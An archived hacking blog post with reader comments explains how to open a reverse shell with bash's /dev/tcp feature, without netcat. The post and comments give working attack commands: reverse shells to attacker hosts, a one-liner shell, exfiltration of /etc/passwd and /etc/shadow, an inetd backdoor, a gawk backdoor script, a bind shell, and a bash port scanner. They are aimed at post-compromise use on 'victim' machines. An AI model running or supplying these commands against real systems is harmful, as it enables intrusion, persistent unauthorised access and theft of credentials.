Reverse Shell with Bash
I am stuck at the Dubai International Airport and I have nothing else interesting to do. So, I though I might share a simple technique which will go into the Agile Hacking project. Here I will show you how to create a reverse command shell without using any 3rd-party tools such as the all mighty netcat.
When we compromise a machine we often need to provide ourselves with a user friendly access to the system. This is where command shells come into place. The typical shell consists of a generic network client, typically netcat, listening on a remote port which pipes output into something like bash or any other command shell. Another type of shell is the reverse shell which consists of a generic network client, again something like netcat, connecting to the attacker’s machine and piping input to bash. Most of the time, the attacker will use netcat, because this tool can be easily found on most system or easily compiled from source if required.
Although netcat is very useful, and you may have to use it in most cases, here is a simple technique which emulates what netcat does but it relies on bash only. Let’s see how.
- In step one we start a listening service on our box. We can use netcat, or whatever you might have at hand.
$ nc -l -p 8080 -vvv
- On the target we have to perform some bash-fu. We will create a new descriptor which is assigned to a network node. Then we will read and write to that descriptor.
$ exec 5<>/dev/tcp/evil.com/8080 $ cat <&5 | while read line; do $line 2>&5 >&5; done
There you go. Now everything we type in our local listening server will get executed on the target and the output of the commands will be piped back. Keep in mind that we don’t use any 3rd-party tools on the target but its default shell. This technique comes handy in many situations and it leaves very small footprint on the targeted system.
This shit doesn’t work everywhere, you need to have compiled support in bash for it, and since it’s very broken, most distributions do not ship bash enabled with this feature.
Nice, but I preferred the original write-up ;) labs.neohapsis.com/2008.....literally/
To bad is not working on debian distributions.
give credit where its due. this was posted yesterday on some other sites prior.
a cool trick, but is there a convenient way of doing this in debian? Debian doesnt have the “/dev/tcp” feature as part of its bash by default, is there a way to get around that and use something else?
first of all, I find this feature working on far too many systems. Second, similar things can be done with TCL and 3rd, I don’t read every single blog out there to know that someone has blogged about it as well, neither I claim that it is new. If someone has posted similar technique somewhere else, it is just a coincidence. On another note, giving credits for something like this, is a bit stupid. :) It is like giving credits to someone for writing a for
loop in bash. This is a feature not an ingenious hack. Also, my example significantly differs from the example provided by the blog post suggested above. thanks for the heads up and apologies to those who think that I have ripped off their work. It is certainly not the case.
Nice one, but on my system the man page of bash states the following: :( NOTE: Bash, as packaged for Debian, does not support using the /dev/tcp and /dev/udp files.
if you don’t have this feature compiled you can use TCL which is most likely installed on the system. Now, this defeats the purpose of the technique presented here but it might be better in some situations when you are restricted in terms of being able to upload netcat for example. For more information on using TCL socket features, read the following link: www.tcl.tk/man/tcl8.4/TclCmd/socket.htm
otze, unfortunately Debian does not support it. keep in mind that Debian mainly uses very old stable
packages. Which is good and bad at the same time.
You are my idol #1
Yes! Works fine on Solaris 9 and 10. Always had problems getting a netcat compiled on Solaris. Hate gcc problems on Solaris. The netcat version provided by sunfreeware.com does not include the “-e” option for bidirectional communication.
I tried this on a ubuntu server and it does not work in it’s default configuration. If you build the bash using the use –enable-net-redirections build flag it will work. Just in case someone else was wondering why it wouldn’t work.
Nice stuff, I really love this website :D
I checked the bash man page on Mac OS X 10.5.2 and it DOES support /dev/tcp
!!
jk
I just tried it on Mac OS X Leopard and it works!! caveat I connected to and from localhost so my next test, time willing will be to try to/from another host. Nothing shows up on the victim host, all std out shows up on attacker side ;-) pdp awesome awesome tip!!!
Thanks for the tip! Its an interesting concept to minimize the footprint on the client machine.
you can remove the cat <&5
, will be:
while read line 0<&5; do $line 2>&5 >&5; done
there is also the $REPLY
var of the read builtin command.
thnks for the stuff gnucitizen.
Why using two lines/commands? A one liner version:
$ bash -i >& /dev/tcp/evil.com/8080 0>&1
Note: /dev/tcp
support is enabled by default on Redhat. Disabled on Debian. Would be nice to list here support for other well known distro (Suse?).
Ok here is an idea of how to turn this into a port scanner: Say you are on box 192.168.1.2 and you want to port scan ports 79,80,81 on 192.168.1.1 do the following all on one line:
for i in 79 80 81; do echo $i & bash -i >& /dev/tcp/192.168.1.1/$i 0>&1;done
What you end up with is something like this:
bash-3.2$ for i in 79 80 81; do echo $i & bash -i >& /dev/tcp/192.168.1.1/$i 0>&1;done
[1] 5579
79
bash: connect: Connection refused
bash: /dev/tcp/192.168.1.1/79: Connection refused
[1]+ Done echo $i
[1] 5581
80
[1]+ Done echo $i
[1] 5584
81
bash: connect: Connection refused
bash: /dev/tcp/192.168.1.1/81: Connection refused
[1]+ Done echo $i
bash-3.2$ for i in 79 80 81; do echo $i & bash -i >& /dev/tcp/192.168.1.1/$i 0>&1;done
Closed ports give you back a “Connection refused”
LOL Google is truely my friend: www.oreilly.com/pub/h/5299 A tcp and udp portscanner implimented in Bash ;-)
sweet!
It works ok on debian, but only using TCL! :D But works fine! Thx for nice post pdp!
Ops sorry.. really don work on debian. Works on Redhat Enterprise 4 and 5.
Just to complement… i know this post its about the reverse shell. But “debian users” whatch this post about Default-bash:/dev/tcp bugs.debian.org/cgi-bin.....bug=146464
Marchiner: wow this bug report goes back to 2002! How much longer till it’s fixed ;-)
Ok this is off scope for this thread, and the moderator may not want it but here’s a way to use /dev/tcp to banner a web server:
#!/bin/bash
exec 3<>/dev/tcp/$1/80
echo -e "Get /simple?se=1 HTTP/1.0\n" >&3
cat <&3
You’d feed the www.whatever.com on the command line.
usage:
./script www.whatever.com
Correction: script should read:
#!/bin/bash
exec 3 /dev/tcp/$1/80
echo -e "Get /simple?se=1 HTTP/1.0\n" >&3
cat <&3
Useful, Thanks.
Thanks ‘pdp’. Nice concept & article. Though doesn’t work for my default Debian base, but surely gonna come handy for research! Kudos and keep up the good work :) Cheers.
PDP Yeh this was old school goodness ;-) I love the idea of using what’s already there. Now what I’d like is an equivalent on windows!
unfortunately batch is very limited but you can do similar things with WScript combined with JavaScript(JScript) or VBScript. These stuff come by default on every Windows operating system.
pdp
thanks for pointing me in the right direction ;-) Mr. Google sez: www.codeproject.com/KB/cs/ReverseRAT.aspx
LOL
Awesome!
Fun and games with /dev/tcp
and file transfer: Ok here is how to use this bash /dev/tcp
trick to move a file.
- On attacker’s box: I want to move a file named test.txt to the victim box
cat test.txt | nc -l 3333
- I’ll then connect out from victim to attacker’s port 3333 and pull back the file
test.txt
bash -i >& /dev/tcp/attackersIP/8080 0>&1 > test.txt
Advantages: netcat stays on the attacker’s box. All I use on the victim box is what’s already there…bash ;-)
————————————–
ok so you are probably saying “That’s nice” but if I’m already on the victim and I want to say transfer /etc/password or /etc/shadow back to my attacker’s box and I’m too lazy to do terminal copy and paste…then what?
- on attacker’s box do
nc -l -p 8080 -vvv > passwd
- on victim box do
cat /etc/passwd > /dev/tcp/attackerIP/8080
and like magic the victim’s /etc/password is transferred to the attacker’s box.
Transfer a file using HTTP: Say you have compromised a victim box and want to transfer a file to the victim.
1. Put the file in the web root of the attacker box (I’m thinking of the web server in backtrack.
2. Start up the web server on the attacker box
3. On the victim box do:
(echo -e "GET /filename_you_are_moving HTTP/0.9\r\n\r\n" \
1>&3 & cat 0<&3) 3 /dev/tcp/AttackerIP/80 \
| (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; \
do read i; done; cat) > local_filename
Credit where credit is due:
www.pebble.org.uk/linux/bashbrowser
Here is an important thing I just realized…d’oh this /dev/tcp/ thing can only connect outbound, it cannot listen and receive a connection like netcat. As far as I can tell ;-)
BTW the /dev/tcp and /dev/udp is also a feature of the Korn shell. Korn shell is robust shell favored by *nix oldskoolers. You will find it installed by default on Mac OS X. I don’t believe it comes default on the remainder of the BSDs(free and open). As far as I can tell it works pretty much the way it does under Bash.
Ok here’s some old skool stuff. To create a listener on a *nix box running inetd (as apposed to xinetd)
- Pick an obscure service from
/etc/services
associated with a tcp port 1024 and above…for example laplinklaplink 1547/tcp # laplink
- Add the following line to
/etc/inetd.conf
laplink stream tcp nowait /bin/bash bash -i
- restart
inetd.conf
killall -HUP inetd
Explaination: You are creating a listener on port tcp/1547 that will shovel you a bash shell.
Caveat: this obviously is not my *idea* It’s just very VERY old stuff that still works.
Ok I know I know I’m obsessive ;-) Here is a reverse shell implemented in gawk
Credit: Phrack 62
#!/usr/bin/gawk -f
BEGIN {
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
Yes exact citation for above is p62-0x08_Remote_Exec.txt “FIST! FIST! FIST! Its all in the wrist: Remote Exec” by grugg
Python Trick
If you can use a web app to execute shell commands on the victim:
cd / && python -m SimpleHTTPServer
then
Python will start it’s own web server listening on port 8000. You can surf to the victim on that port: victim:8000
and then transverse the entire file system and download /etc/passwd
and /etc/shadow
.
Tested on macos x 10.5.3 and Safari 3.1.1. For other *nix variants, your mileage may vary.
nice work pdp, keep on going!
www.delirandom.net/2008.....e-net-omg/ the same prerequisite, but traffic is encoded in icmp.
this is quite interesting. thanks for sharing.
2 way /dev/tcp communication on debian. Use netcat
mkfifo mypipe
cat mypipe|/bin/bash|nc -l -p 6000 >mypipe
@Jeff: awesome. just tested it on my ubuntu workstation and works like a charm. thanks for sharing!
thanks for nice article…
(macubergeek == pdp) ? ;-P : ;-|
for its contents. This is a safe-cache copy of the original web site.
This is the kind of stuff I like. As we tend to say: “there is always an easier way to solve the problem”.